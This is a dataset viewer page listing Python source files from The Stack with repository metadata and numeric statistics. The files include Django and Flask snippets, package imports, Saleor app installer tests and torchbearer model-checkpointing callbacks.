xszheng2020/the_stack_dedup_python_hits_6 · Datasets at Hugging Face

3989fcd5de8c4c51a7c93a3d15219892f8a04f09

91

py

Python

algo/test/test_hyperloglog.py

ssavinash1/Algorithm_stanford

f2588b6bcac2b0858e78b819e6e8402109e80ee2

[ "MIT" ]

24

2016-03-21T07:53:54.000Z

2020-06-29T12:16:36.000Z

algo/test/test_hyperloglog.py

ssavinash1/Algorithm_stanford

f2588b6bcac2b0858e78b819e6e8402109e80ee2

[ "MIT" ]

5

2015-09-29T17:12:36.000Z

2020-03-26T20:51:56.000Z

algo/test/test_hyperloglog.py

ssavinash1/Algorithm_stanford

f2588b6bcac2b0858e78b819e6e8402109e80ee2

[ "MIT" ]

12

2016-05-24T16:48:32.000Z

2020-10-02T12:22:09.000Z

import unittest import src.hyperloglog class TestHyperLogLog(unittest.TestCase): pass

11.375

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91

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42

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true

0.25

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null

0

1

0

null

0

1

0

1

0

6

3996a58e95138024b00193634b92d34711f89c54

113

py

Python

judger/uoj_judger/tests/coin2/gen.py

contropist/uoj

114ebf690dcfb22ec899cbdc3d3cb77a30b46285

[ "MIT" ]

null

judger/uoj_judger/tests/coin2/gen.py

contropist/uoj

114ebf690dcfb22ec899cbdc3d3cb77a30b46285

[ "MIT" ]

null

judger/uoj_judger/tests/coin2/gen.py

contropist/uoj

114ebf690dcfb22ec899cbdc3d3cb77a30b46285

[ "MIT" ]

null

print(14514) for i in range(3, 121): for j in range(1, i + 1): print(i, j, -1) print(i, j, 1)

22.6

29

0.486726

23

113

2.391304

0.434783

0.254545

0.290909

0.309091

0

0.173333

0.336283

113

5

30

22.6

0.56

0

1

0

false

0

0.6

1

0

null

1

0

1

0

null

0

1

0

6

39b592e2d51f4a0cd0c91f41868e1ba7aceb4c49

158

py

Python

src/extra_links/admin.py

MetricsGroup/IERT-Webapp

9e43f1775767412898f9340b9cc84196eb4abfdb

[ "MIT" ]

3

2019-04-25T11:19:22.000Z

2020-05-10T20:41:12.000Z

src/extra_links/admin.py

MetricsGroup/IERT-Webapp

9e43f1775767412898f9340b9cc84196eb4abfdb

[ "MIT" ]

5

2020-06-17T05:16:27.000Z

2022-01-13T02:15:56.000Z

src/extra_links/admin.py

MetricsGroup/IERT-Webapp

9e43f1775767412898f9340b9cc84196eb4abfdb

[ "MIT" ]

3

2020-06-13T10:40:27.000Z

2021-10-13T15:45:50.000Z

from django.contrib import admin from .models import notice_board from home.models import popup admin.site.register(notice_board) admin.site.register(popup)

22.571429

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0.835443

24

158

5.416667

0.5

0.184615

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0.094937

158

6

34

26.333333

0.909091

0

1

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true

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null

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0

null

0

1

0

1

0

1

0

6

39e7efe8cad9d1a50ee5fbb054ca8e477250719d

73

py

Python

h2o-docs/src/booklets/v2_2015/source/Python_Vignette_code_examples/python_show_column_types.py

ahmedengu/h2o-3

ac2c0a6fbe7f8e18078278bf8a7d3483d41aca11

[ "Apache-2.0" ]

6,098

2015-05-22T02:46:12.000Z

2022-03-31T16:54:51.000Z

h2o-docs/src/booklets/v2_2015/source/Python_Vignette_code_examples/python_show_column_types.py

ahmedengu/h2o-3

ac2c0a6fbe7f8e18078278bf8a7d3483d41aca11

[ "Apache-2.0" ]

2,517

2015-05-23T02:10:54.000Z

2022-03-30T17:03:39.000Z

h2o-docs/src/booklets/v2_2015/source/Python_Vignette_code_examples/python_show_column_types.py

ahmedengu/h2o-3

ac2c0a6fbe7f8e18078278bf8a7d3483d41aca11

[ "Apache-2.0" ]

2,199

2015-05-22T04:09:55.000Z

2022-03-28T22:20:45.000Z

df12.types # {u'A': u'enum', u'C': u'real', u'B': u'enum', u'D': u'real'}

36.5

62

0.506849

18

73

2.055556

0.5

0.27027

0.324324

0

0.03125

0.123288

73

2

62

36.5

0.546875

0.821918

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1

0

true

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null

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0

1

0

1

0

null

0

1

0

6

f2f786539d26f4fc212ffe1f6ef77dd8ff3f5b9f

178

py

Python

pypro/base/views.py

marciohiroyuki/django-course

f7a0b878a732cbfec7418f3e7522b6d0bf5d6223

[ "Apache-2.0" ]

null

pypro/base/views.py

marciohiroyuki/django-course

f7a0b878a732cbfec7418f3e7522b6d0bf5d6223

[ "Apache-2.0" ]

932

2020-04-11T08:36:27.000Z

2022-03-28T23:17:29.000Z

pypro/base/views.py

marciohiroyuki/django-course

f7a0b878a732cbfec7418f3e7522b6d0bf5d6223

[ "Apache-2.0" ]

null

from django.http import HttpResponse # Create your views here. def home(request): return HttpResponse('<html><body>Hello Django!</body></html>', content_type='text/html')

22.25

92

0.730337

24

178

5.375

0.791667

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0.123596

178

7

93

25.428571

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0.333333

false

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null

0

1

0

null

0

1

0

1

0

6

ffda6969848665f742abf864a92b2917873ecc05

39

py

Python

remote_gource/sources/bitbucket/__init__.py

wraithy/gource-summary

33f6946f7a19d7b26f9291a72816557dad37882a

[ "MIT" ]

null

remote_gource/sources/bitbucket/__init__.py

wraithy/gource-summary

33f6946f7a19d7b26f9291a72816557dad37882a

[ "MIT" ]

null

remote_gource/sources/bitbucket/__init__.py

wraithy/gource-summary

33f6946f7a19d7b26f9291a72816557dad37882a

[ "MIT" ]

null

from .bitbucket import BitbucketSource

19.5

38

0.871795

4

39

8.5

1

0

0.102564

39

1

39

0.971429

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

fff979ac7dd6a9c9544e42b8056e860e01af92d0

225

py

Python

tester/__init__.py

ultravideo/uvgVenctester

73c4087efe5f654464f20c8861f0811cd62b6727

[ "BSD-2-Clause" ]

7

2021-06-16T14:53:14.000Z

2022-02-24T11:42:39.000Z

tester/__init__.py

ultravideo/uvgVenctester

73c4087efe5f654464f20c8861f0811cd62b6727

[ "BSD-2-Clause" ]

null

tester/__init__.py

ultravideo/uvgVenctester

73c4087efe5f654464f20c8861f0811cd62b6727

[ "BSD-2-Clause" ]

null

from tester.core.log import console_log from tester.core.tester import Tester, Test, Cfg, ResultTypes from tester.encoders.base import QualityParam from tester.core.test import EncodingRun from tester.core import table, csv

32.142857

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0.831111

34

225

5.470588

0.441176

0.268817

0.301075

0

0.111111

225

6

62

37.5

0.93

0

1

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true

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0

null

0

1

0

1

0

1

0

6

f29256fce8d7b1d8aad07fc9ef776531c8327296

34

py

Python

sphinx/source/blueprint_parser.py

spigelli/ue-blueprint-docs

105ab6e3afb04546ee1f9dde8bf01d4342517f04

[ "MIT" ]

null

sphinx/source/blueprint_parser.py

spigelli/ue-blueprint-docs

105ab6e3afb04546ee1f9dde8bf01d4342517f04

[ "MIT" ]

null

sphinx/source/blueprint_parser.py

spigelli/ue-blueprint-docs

105ab6e3afb04546ee1f9dde8bf01d4342517f04

[ "MIT" ]

1

2022-02-23T04:56:37.000Z

from sphinx.parser import Parser

11.333333

32

0.823529

5

34

5.6

0.8

0

0.147059

34

2

33

17

0.965517

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1

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true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

f2aebb6c90d158c7874e0e01fa105dabd0e19c53

147

py

Python

shuttle_cock/shuttlecock/doctype/court_booking/test_court_booking.py

surajitmetya/Shuttle

2a4f71e412ec8317d34484a65fdd21c5f0756d2a

[ "MIT" ]

null

shuttle_cock/shuttlecock/doctype/court_booking/test_court_booking.py

surajitmetya/Shuttle

2a4f71e412ec8317d34484a65fdd21c5f0756d2a

[ "MIT" ]

null

shuttle_cock/shuttlecock/doctype/court_booking/test_court_booking.py

surajitmetya/Shuttle

2a4f71e412ec8317d34484a65fdd21c5f0756d2a

[ "MIT" ]

null

16.333333

45

0.782313

18

147

6.388889

0.888889

0

0.031746

0.142857

147

8

46

18.375

0.880952

0.496599

0

1

0

true

0.333333

0

0.666667

0

1

0

null

0

1

0

null

0

1

0

1

0

6

4b48aa39251126055e0f64f53bbecbaa4abc8cf8

20

py

Python

src/setup.py

FOFOkaboom/backup-gizmo

16db6cdd5fe266ef19239f8c448106ae40b70ba3

[ "MIT" ]

null

src/setup.py

FOFOkaboom/backup-gizmo

16db6cdd5fe266ef19239f8c448106ae40b70ba3

[ "MIT" ]

null

src/setup.py

FOFOkaboom/backup-gizmo

16db6cdd5fe266ef19239f8c448106ae40b70ba3

[ "MIT" ]

null

#TODO Write setup.py

20

0.8

4

20

4

1

0

0.1

20

1

20

0.888889

0.95

0

null

0

null

0

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1

null

true

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1

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null

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1

0

1

0

null

0

1

0

1

0

6

4b62670f4f4d89bc34715767a631d4fa669ed188

35

py

Python

external/fv3fit/fv3fit/emulation/compositions/__init__.py

ai2cm/fv3net

e62038aee0a97d6207e66baabd8938467838cf51

[ "MIT" ]

1

2021-12-14T23:43:35.000Z

external/fv3fit/fv3fit/emulation/compositions/__init__.py

ai2cm/fv3net

e62038aee0a97d6207e66baabd8938467838cf51

[ "MIT" ]

195

2021-09-16T05:47:18.000Z

2022-03-31T22:03:15.000Z

external/fv3fit/fv3fit/emulation/compositions/__init__.py

ai2cm/fv3net

e62038aee0a97d6207e66baabd8938467838cf51

[ "MIT" ]

null

from .blended import blended_model

17.5

34

0.857143

5

35

5.8

0.8

0

0.114286

35

1

35

0.935484

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

4bc64c83cb67b748c8356c55f47d67b161788b67

465

py

Python

igem_tuebingen_website/handlers/errors.py

blue1stone/igem_tuebingen_website

f0fee8d1d92459b17892fbeed1cab8fbc714316f

[ "MIT" ]

null

igem_tuebingen_website/handlers/errors.py

blue1stone/igem_tuebingen_website

f0fee8d1d92459b17892fbeed1cab8fbc714316f

[ "MIT" ]

null

igem_tuebingen_website/handlers/errors.py

blue1stone/igem_tuebingen_website

f0fee8d1d92459b17892fbeed1cab8fbc714316f

[ "MIT" ]

null

from flask import render_template from ..app import app @app.errorhandler(404) def page_not_found(error): return render_template('errors/404.html'), 404 @app.errorhandler(500) def internal_error(error): return render_template('errors/500.html'), 500 @app.errorhandler(403) def access_forbidden(error): return render_template('errors/403.html'), 403 @app.errorhandler(410) def page_gone(error): return render_template('errors/410.html'), 410

20.217391

50

0.754839

66

465

5.166667

0.348485

0.205279

0.199413

0.293255

0.363636

0

0.08802

0.12043

465

22

51

21.136364

0.745721

0

0.129032

0

1

0.285714

false

0

0.142857

0.285714

0.714286

0

null

1

0

null

0

1

0

1

0

6

29a05a6b53c62231bbf4815417a3c07cc1288ea7

34

py

Python

Guinea/util/__init__.py

gavindsouza/Guinea

88028dd71c08d37a4aa3893e75503ffe61f81b64

[ "Apache-2.0" ]

null

Guinea/util/__init__.py

gavindsouza/Guinea

88028dd71c08d37a4aa3893e75503ffe61f81b64

[ "Apache-2.0" ]

null

Guinea/util/__init__.py

gavindsouza/Guinea

88028dd71c08d37a4aa3893e75503ffe61f81b64

[ "Apache-2.0" ]

4

2019-01-09T04:10:17.000Z

2022-02-17T10:31:28.000Z

from Guinea.util.sniffer import *

17

33

0.794118

5

34

5.4

1

0

0.117647

34

1

34

0.9

0

1

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true

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1

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1

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null

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null

0

1

0

1

0

1

0

6

29a435cdef935704180b622295d12731c39c8df9

170

py

Python

build.py

cloudkick/ck-agent

cc9c35818742ad7fc45841ceb563ee578cdea6c8

[ "Apache-2.0" ]

1

2020-04-23T01:03:59.000Z

build.py

cloudkick/ck-agent

cc9c35818742ad7fc45841ceb563ee578cdea6c8

[ "Apache-2.0" ]

null

build.py

cloudkick/ck-agent

cc9c35818742ad7fc45841ceb563ee578cdea6c8

[ "Apache-2.0" ]

null

bootstrap_url="http://agent-resources.cloudkick.com/" s3_bucket="s3://agent-resources.cloudkick.com" pubkey="etc/agent-linux.public.key" branding_name="cloudkick-agent"

28.333333

53

0.794118

24

170

5.5

0.666667

0.212121

0.348485

0.393939

0

0.012121

0.029412

170

5

54

34

0.787879

0

0.658824

0.352941

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1

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false

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1

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null

1

0

1

0

1

0

null

0

6

29d6f0fc180402486eb0258f8bab27dbf019c736

5,432

py

Python

src/saleor_app/tests/test_install.py

przlada/saleor-app-framework-python

3a561c93bf586b4210e7b3c4d2db3408046a9599

[ "BSD-3-Clause" ]

20

2021-05-18T18:05:25.000Z

2022-03-02T00:39:15.000Z

src/saleor_app/tests/test_install.py

przlada/saleor-app-framework-python

3a561c93bf586b4210e7b3c4d2db3408046a9599

[ "BSD-3-Clause" ]

13

2021-10-19T19:05:24.000Z

2022-03-22T13:17:55.000Z

src/saleor_app/tests/test_install.py

przlada/saleor-app-framework-python

3a561c93bf586b4210e7b3c4d2db3408046a9599

[ "BSD-3-Clause" ]

11

2021-06-09T21:24:56.000Z

2022-03-12T17:33:30.000Z

from unittest.mock import AsyncMock, MagicMock import pytest from saleor_app.conf import get_settings from saleor_app.errors import InstallAppError from saleor_app.graphql import GraphQLError from saleor_app.install import CREATE_WEBHOOK, install_app from saleor_app.schemas.core import WebhookData @pytest.mark.asyncio async def test_install_app(monkeypatch): saleor_webhook_id = "V2ViaG9vazoz" json_response = { "data": {"webhookCreate": {"errors": [], "webhook": {"id": saleor_webhook_id}}} } settings = get_settings() response = MagicMock() response.__getitem__.side_effect = json_response.__getitem__ response.get.side_effect = json_response.get errors = None mocked_executor = AsyncMock(return_value=(response, errors)) monkeypatch.setattr( "saleor_app.install.get_executor", lambda host, auth_token: mocked_executor ) monkeypatch.setattr("saleor_app.install.secrets.choice", lambda _: "a") save_app_data_fun = AsyncMock() events = ["ORDER_CREATED", "PRODUCT_CREATED"] target_url = "saleor.io/app/webhook-url" saleor_store_domain = "saleor.io" saleor_app_token = "saleor-token" await install_app( domain=saleor_store_domain, token=saleor_app_token, events=events, target_url=target_url, save_app_data=save_app_data_fun, ) expected_secret_key = "a" * 20 variables = { "input": { "targetUrl": target_url, "events": [event.upper() for event in events], "name": settings.app_name, "secretKey": expected_secret_key, } } mocked_executor.assert_awaited_once_with(CREATE_WEBHOOK, variables=variables) save_app_data_fun.assert_awaited_once_with( saleor_store_domain, WebhookData( token=saleor_app_token, webhook_id=saleor_webhook_id, webhook_secret_key=expected_secret_key, ), ) @pytest.mark.asyncio async def test_install_app_graphql_error(monkeypatch): json_failed_response = { "errors": [ { "message": "You do not have permission to perform this action", } ] } settings = get_settings() response = MagicMock() response.__getitem__.side_effect = json_failed_response.__getitem__ response.get.side_effect = json_failed_response.get errors = [ { "message": "You do not have permission to perform this action", } ] mocked_executor = AsyncMock(return_value=(response, errors)) monkeypatch.setattr( "saleor_app.install.get_executor", lambda host, auth_token: mocked_executor ) monkeypatch.setattr("saleor_app.install.secrets.choice", lambda _: "a") save_app_data_fun = AsyncMock() events = ["ORDER_CREATED", "PRODUCT_CREATED"] target_url = "saleor.io/app/webhook-url" saleor_store_domain = "saleor.io" saleor_app_token = "saleor-token" with pytest.raises(GraphQLError): await install_app( domain=saleor_store_domain, token=saleor_app_token, events=events, target_url=target_url, save_app_data=save_app_data_fun, ) expected_secret_key = "a" * 20 variables = { "input": { "targetUrl": target_url, "events": [event.upper() for event in events], "name": settings.app_name, "secretKey": expected_secret_key, } } mocked_executor.assert_awaited_once_with(CREATE_WEBHOOK, variables=variables) assert not save_app_data_fun.called @pytest.mark.asyncio async def test_install_app_mutation_error(monkeypatch): json_failed_response = { "data": { "webhookCreate": { "errors": [ { "field": None, "message": "Missing token or app", "code": "INVALID", } ], "webhook": None, } } } settings = get_settings() response = MagicMock() response.__getitem__.side_effect = json_failed_response.__getitem__ response.get.side_effect = json_failed_response.get errors = None mocked_executor = AsyncMock(return_value=(response, errors)) monkeypatch.setattr( "saleor_app.install.get_executor", lambda host, auth_token: mocked_executor ) monkeypatch.setattr("saleor_app.install.secrets.choice", lambda _: "a") save_app_data_fun = AsyncMock() events = ["ORDER_CREATED", "PRODUCT_CREATED"] target_url = "saleor.io/app/webhook-url" saleor_store_domain = "saleor.io" saleor_app_token = "saleor-token" with pytest.raises(InstallAppError): await install_app( domain=saleor_store_domain, token=saleor_app_token, events=events, target_url=target_url, save_app_data=save_app_data_fun, ) expected_secret_key = "a" * 20 variables = { "input": { "targetUrl": target_url, "events": [event.upper() for event in events], "name": settings.app_name, "secretKey": expected_secret_key, } } mocked_executor.assert_awaited_once_with(CREATE_WEBHOOK, variables=variables) assert not save_app_data_fun.called

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5,432

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0.002012

0.267857

5,432

179

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30.346369

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0.04

1

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false

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0.046667

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0

1

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null

0

6

4b12822e6d65a0051203be96bd6a9d55228e0811

24

py

Python

testsuite/modulegraph-dir/package/diamond_b2.py

xoviat/modulegraph2

766d00bdb40e5b2fe206b53a87b1bce3f9dc9c2a

[ "MIT" ]

9

2020-03-22T14:48:01.000Z

2021-05-30T12:18:12.000Z

testsuite/modulegraph-dir/package/diamond_b2.py

xoviat/modulegraph2

766d00bdb40e5b2fe206b53a87b1bce3f9dc9c2a

[ "MIT" ]

15

2020-01-06T10:02:32.000Z

2021-05-28T12:22:44.000Z

testsuite/modulegraph-dir/package/diamond_b1.py

ronaldoussoren/modulegraph2

b6ab1766b0098651b51083235ff8a18a5639128b

[ "MIT" ]

4

2020-05-10T18:51:41.000Z

2021-04-07T14:03:12.000Z

from . import diamond_c

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d9b1e45b721b1c4c1a7bb9086b5edb5d571088f0

98

py

Python

app/diagnostic/__init__.py

benjaminhuanghuang/math_clone

8fd5d5ed878559629101c6c33d61f2ead80a652c

[ "MIT" ]

null

app/diagnostic/__init__.py

benjaminhuanghuang/math_clone

8fd5d5ed878559629101c6c33d61f2ead80a652c

[ "MIT" ]

null

app/diagnostic/__init__.py

benjaminhuanghuang/math_clone

8fd5d5ed878559629101c6c33d61f2ead80a652c

[ "MIT" ]

null

from flask import Blueprint diagnostic = Blueprint('diagnostic', __name__) from . import routes

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6

d9b3557149df02201695555cb8fb1b5b4718254e

208

py

Python

users/admin.py

MaTachi/sputnik

81f170f4ed25c0d0db7816dd875e8ac148ebba3b

[ "MIT" ]

null

users/admin.py

MaTachi/sputnik

81f170f4ed25c0d0db7816dd875e8ac148ebba3b

[ "MIT" ]

null

users/admin.py

MaTachi/sputnik

81f170f4ed25c0d0db7816dd875e8ac148ebba3b

[ "MIT" ]

null

from django.contrib import admin from users.models import PersonalUserProfile class PersonalUserProfileAdmin(admin.ModelAdmin): pass admin.site.register(PersonalUserProfile, PersonalUserProfileAdmin)

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96

py

Python

venv/lib/python3.8/site-packages/rope/base/oi/type_hinting/evaluate.py

GiulianaPola/select_repeats

17a0d053d4f874e42cf654dd142168c2ec8fbd11

[ "MIT" ]

2

2022-03-13T01:58:52.000Z

2022-03-31T06:07:54.000Z

venv/lib/python3.8/site-packages/rope/base/oi/type_hinting/evaluate.py

DesmoSearch/Desmobot

b70b45df3485351f471080deb5c785c4bc5c4beb

[ "MIT" ]

19

2021-11-20T04:09:18.000Z

2022-03-23T15:05:55.000Z

venv/lib/python3.8/site-packages/rope/base/oi/type_hinting/evaluate.py

DesmoSearch/Desmobot

b70b45df3485351f471080deb5c785c4bc5c4beb

[ "MIT" ]

null

/home/runner/.cache/pip/pool/1f/9b/1e/32db7f302799db2358287293395973ca876e177f4dff9f20e8d171c508

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1

0

1

0

6

d9d208eda4c74e9ff892ae39dea8336d6e31fc86

14,595

py

Python

torchbearer/callbacks/checkpointers.py

NunoEdgarGFlowHub/torchbearer

d2b21b8ffcabde5b505cb1c736e05af6ee4276ca

[ "MIT" ]

358

2018-07-23T13:30:38.000Z

2019-06-02T07:18:35.000Z

torchbearer/callbacks/checkpointers.py

NunoEdgarGFlowHub/torchbearer

d2b21b8ffcabde5b505cb1c736e05af6ee4276ca

[ "MIT" ]

307

2018-07-18T12:07:23.000Z

2019-06-03T18:00:27.000Z

torchbearer/callbacks/checkpointers.py

NunoEdgarGFlowHub/torchbearer

d2b21b8ffcabde5b505cb1c736e05af6ee4276ca

[ "MIT" ]

42

2018-07-23T22:49:23.000Z

2019-05-20T07:22:55.000Z

import torchbearer import torch from torchbearer.callbacks.callbacks import Callback import os import warnings from torchbearer.bases import get_metric class _Checkpointer(Callback): def __init__(self, fileformat, save_model_params_only=False, pickle_module=torch.serialization.pickle, pickle_protocol=torch.serialization.DEFAULT_PROTOCOL): super(_Checkpointer, self).__init__() self.fileformat = fileformat self.pickle_module = pickle_module self.pickle_protocol = pickle_protocol self.save_model_params_only = save_model_params_only self.most_recent = None if fileformat.__contains__(os.sep) and not os.path.exists(os.path.dirname(fileformat)): os.makedirs(os.path.dirname(fileformat)) def save_checkpoint(self, model_state, overwrite_most_recent=False): state = {} state.update(model_state) state.update(model_state[torchbearer.METRICS]) string_state = {str(key): state[key] for key in state.keys()} filepath = self.fileformat.format(**string_state) if self.most_recent is not None and overwrite_most_recent: try: os.remove(self.most_recent) except OSError: warnings.warn('Failed to delete old file. Are you running two checkpointers with the same filename?') if self.save_model_params_only: torch.save(model_state[torchbearer.MODEL].state_dict(), filepath, pickle_module=self.pickle_module, pickle_protocol=self.pickle_protocol) else: torch.save(model_state[torchbearer.SELF].state_dict(), filepath, pickle_module=self.pickle_module, pickle_protocol=self.pickle_protocol) self.most_recent = filepath def ModelCheckpoint(filepath='model.{epoch:02d}-{val_loss:.2f}.pt', save_model_params_only=False, monitor='val_loss', save_best_only=False, mode='auto', period=1, min_delta=0): """Save the model after every epoch. `filepath` can contain named formatting options, which will be filled any values from state. For example: if `filepath` is `weights.{epoch:02d}-{val_loss:.2f}`, then the model checkpoints will be saved with the epoch number and the validation loss in the filename. The torch :class:`.Trial` will be saved to filename. Example: :: >>> from torchbearer.callbacks import ModelCheckpoint >>> from torchbearer import Trial >>> import torch # Example Trial (without optimiser or loss criterion) which uses this checkpointer >>> model = torch.nn.Linear(1,1) >>> checkpoint = ModelCheckpoint('my_path.pt', monitor='val_acc', mode='max') >>> trial = Trial(model, callbacks=[checkpoint], metrics=['acc']) Args: filepath (str): Path to save the model file save_model_params_only (bool): If `save_model_params_only=True`, only model parameters will be saved so that the results can be loaded into a PyTorch nn.Module. The other option, `save_model_params_only=False`, should be used only if the results will be loaded into a Torchbearer Trial object later. monitor (str): Quantity to monitor save_best_only (bool): If `save_best_only=True`, the latest best model according to the quantity monitored will not be overwritten mode (str): One of {auto, min, max}. If `save_best_only=True`, the decision to overwrite the current save file is made based on either the maximization or the minimization of the monitored quantity. For `val_acc`, this should be `max`, for `val_loss` this should be `min`, etc. In `auto` mode, the direction is automatically inferred from the name of the monitored quantity. period (int): Interval (number of epochs) between checkpoints min_delta (float): If `save_best_only=True`, this is the minimum improvement required to trigger a save State Requirements: - :attr:`torchbearer.state.MODEL`: Model should have the `state_dict` method - :attr:`torchbearer.state.METRICS`: Metrics dictionary should exist - :attr:`torchbearer.state.SELF`: Self should be the :attr:`torchbearer.Trial` which is running this callback """ if save_best_only: check = Best(filepath, save_model_params_only, monitor, mode, period, min_delta) else: check = Interval(filepath, save_model_params_only, period) return check class MostRecent(_Checkpointer): """Model checkpointer which saves the most recent model to a given filepath. `filepath` can contain named formatting options, which will be filled any values from state. For example: if `filepath` is `weights.{epoch:02d}-{val_loss:.2f}`, then the model checkpoints will be saved with the epoch number and the validation loss in the filename. Example: :: >>> from torchbearer.callbacks import MostRecent >>> from torchbearer import Trial >>> import torch # Example Trial (without optimiser or loss criterion) which uses this checkpointer >>> model = torch.nn.Linear(1,1) >>> checkpoint = MostRecent('my_path.pt') >>> trial = Trial(model, callbacks=[checkpoint], metrics=['acc']) Args: filepath (str): Path to save the model file save_model_params_only (bool): If `save_model_params_only=True`, only model parameters will be saved so that the results can be loaded into a PyTorch nn.Module. The other option, `save_model_params_only=False`, should be used only if the results will be loaded into a Torchbearer Trial object later. pickle_module (module): The pickle module to use, default is 'torch.serialization.pickle' pickle_protocol (int): The pickle protocol to use, default is 'torch.serialization.DEFAULT_PROTOCOL' State Requirements: - :attr:`torchbearer.state.MODEL`: Model should have the `state_dict` method - :attr:`torchbearer.state.METRICS`: Metrics dictionary should exist - :attr:`torchbearer.state.SELF`: Self should be the :attr:`torchbearer.Trial` which is running this callback """ def __init__(self, filepath='model.{epoch:02d}-{val_loss:.2f}.pt', save_model_params_only=False, pickle_module=torch.serialization.pickle, pickle_protocol=torch.serialization.DEFAULT_PROTOCOL): super(MostRecent, self).__init__(filepath, save_model_params_only=save_model_params_only, pickle_module=pickle_module, pickle_protocol=pickle_protocol) self.filepath = filepath def on_checkpoint(self, state): super(MostRecent, self).on_end_epoch(state) self.save_checkpoint(state, overwrite_most_recent=True) class Best(_Checkpointer): """Model checkpointer which saves the best model according to the given configurations. `filepath` can contain named formatting options, which will be filled any values from state. For example: if `filepath` is `weights.{epoch:02d}-{val_loss:.2f}`, then the model checkpoints will be saved with the epoch number and the validation loss in the filename. Example: :: >>> from torchbearer.callbacks import Best >>> from torchbearer import Trial >>> import torch # Example Trial (without optimiser or loss criterion) which uses this checkpointer >>> model = torch.nn.Linear(1,1) >>> checkpoint = Best('my_path.pt', monitor='val_acc', mode='max') >>> trial = Trial(model, callbacks=[checkpoint], metrics=['acc']) Args: filepath (str): Path to save the model file save_model_params_only (bool): If `save_model_params_only=True`, only model parameters will be saved so that the results can be loaded into a PyTorch nn.Module. The other option, `save_model_params_only=False`, should be used only if the results will be loaded into a Torchbearer Trial object later. monitor (str): Quantity to monitor mode (str): One of {auto, min, max}. If `save_best_only=True`, the decision to overwrite the current save file is made based on either the maximization or the minimization of the monitored quantity. For `val_acc`, this should be `max`, for `val_loss` this should be `min`, etc. In `auto` mode, the direction is automatically inferred from the name of the monitored quantity. period (int): Interval (number of epochs) between checkpoints min_delta (float): If `save_best_only=True`, this is the minimum improvement required to trigger a save pickle_module (module): The pickle module to use, default is 'torch.serialization.pickle' pickle_protocol (int): The pickle protocol to use, default is 'torch.serialization.DEFAULT_PROTOCOL' State Requirements: - :attr:`torchbearer.state.MODEL`: Model should have the `state_dict` method - :attr:`torchbearer.state.METRICS`: Metrics dictionary should exist, with the `monitor` key populated - :attr:`torchbearer.state.SELF`: Self should be the :attr:`torchbearer.Trial` which is running this callback """ def __init__(self, filepath='model.{epoch:02d}-{val_loss:.2f}.pt', save_model_params_only=False, monitor='val_loss', mode='auto', period=1, min_delta=0, pickle_module=torch.serialization.pickle, pickle_protocol=torch.serialization.DEFAULT_PROTOCOL): super(Best, self).__init__(filepath, save_model_params_only=save_model_params_only, pickle_module=pickle_module, pickle_protocol=pickle_protocol) self.min_delta = min_delta self.mode = mode self.monitor = monitor self.period = period self.epochs_since_last_save = 0 if self.mode not in ['min', 'max']: if 'acc' in self.monitor: self.mode = 'max' else: self.mode = 'min' if self.mode == 'min': self.min_delta *= -1 self.monitor_op = lambda x1, x2: (x1-self.min_delta) < x2 elif self.mode == 'max': self.min_delta *= 1 self.monitor_op = lambda x1, x2: (x1-self.min_delta) > x2 self.best = None def state_dict(self): state_dict = super(Best, self).state_dict() state_dict['epochs'] = self.epochs_since_last_save state_dict['best'] = self.best return state_dict def load_state_dict(self, state_dict): super(Best, self).load_state_dict(state_dict) self.epochs_since_last_save = state_dict['epochs'] self.best = state_dict['best'] return self def on_start(self, state): if self.best is None: self.best = float('inf') if self.mode == 'min' else -float('inf') def on_checkpoint(self, state): super(Best, self).on_end_epoch(state) self.epochs_since_last_save += 1 if self.epochs_since_last_save >= self.period: self.epochs_since_last_save = 0 current = get_metric('Best Checkpoint', state, self.monitor) if current is None: return if self.monitor_op(current, self.best): self.best = current self.save_checkpoint(state, overwrite_most_recent=True) class Interval(_Checkpointer): """Model checkpointer which which saves the model every 'period' epochs to the given filepath. `filepath` can contain named formatting options, which will be filled any values from state. For example: if `filepath` is `weights.{epoch:02d}-{val_loss:.2f}`, then the model checkpoints will be saved with the epoch number and the validation loss in the filename. Example: :: >>> from torchbearer.callbacks import Interval >>> from torchbearer import Trial >>> import torch # Example Trial (without optimiser or loss criterion) which uses this checkpointer >>> model = torch.nn.Linear(1,1) >>> checkpoint = Interval('my_path.pt', period=100, on_batch=True) >>> trial = Trial(model, callbacks=[checkpoint], metrics=['acc']) Args: filepath (str): Path to save the model file save_model_params_only (bool): If `save_model_params_only=True`, only model parameters will be saved so that the results can be loaded into a PyTorch nn.Module. The other option, `save_model_params_only=False`, should be used only if the results will be loaded into a Torchbearer Trial object later. period (int): Interval (number of steps) between checkpoints on_batch (bool): If true step each batch, if false step each epoch. period (int): Interval (number of epochs) between checkpoints pickle_module (module): The pickle module to use, default is 'torch.serialization.pickle' pickle_protocol (int): The pickle protocol to use, default is 'torch.serialization.DEFAULT_PROTOCOL' State Requirements: - :attr:`torchbearer.state.MODEL`: Model should have the `state_dict` method - :attr:`torchbearer.state.METRICS`: Metrics dictionary should exist - :attr:`torchbearer.state.SELF`: Self should be the :attr:`torchbearer.Trial` which is running this callback """ def __init__(self, filepath='model.{epoch:02d}-{val_loss:.2f}.pt', save_model_params_only=False, period=1, on_batch=False, pickle_module=torch.serialization.pickle, pickle_protocol=torch.serialization.DEFAULT_PROTOCOL): super(Interval, self).__init__(filepath, save_model_params_only=save_model_params_only, pickle_module=pickle_module, pickle_protocol=pickle_protocol) self.period = period self.epochs_since_last_save = 0 if on_batch: self.on_step_training = self.on_checkpoint self.on_checkpoint = lambda _: None def state_dict(self): state_dict = super(Interval, self).state_dict() state_dict['epochs'] = self.epochs_since_last_save return state_dict def load_state_dict(self, state_dict): super(Interval, self).load_state_dict(state_dict) self.epochs_since_last_save = state_dict['epochs'] return self def on_checkpoint(self, state): super(Interval, self).on_end_epoch(state) self.epochs_since_last_save += 1 if self.epochs_since_last_save >= self.period: self.epochs_since_last_save = 0 self.save_checkpoint(state)

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d9e759310c2966aaf37e58b76b551d9e8e40db8a

1,886

py

Python

plaso/cli/helpers/__init__.py

dfrc-korea/plaso

2c74c3586f94d3ddf9ff523fbdc8cb42d950a109

[ "Apache-2.0" ]

27

2019-04-05T12:01:49.000Z

2022-02-08T02:26:25.000Z

plaso/cli/helpers/__init__.py

dfrc-korea/plaso

2c74c3586f94d3ddf9ff523fbdc8cb42d950a109

